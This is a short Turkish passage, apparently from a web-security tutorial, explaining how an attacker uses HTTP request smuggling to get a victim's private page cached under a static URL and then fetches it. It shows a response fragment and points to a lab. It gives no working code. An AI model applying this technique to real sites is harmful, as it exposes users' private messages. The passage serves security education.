HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...Saldırgan daha sonra statik URL'yi ziyaret eder ve önbellekten döndürülen hassas içeriği alır.
Burada önemli bir uyarı, saldırganın hassas içeriğin önbelleğe alınacağı URL'yi bilmemesidir, çünkü bu, kaçırılan istek etkili olduğunda hedef kullanıcının istediği URL olacaktır. Saldırganın ele geçirilen içeriği bulmak için çok sayıda statik URL'yi getirmesi gerekebilir.
Bu bölümde 7. lab vardır, yorumlardan erişebilirsiniz.
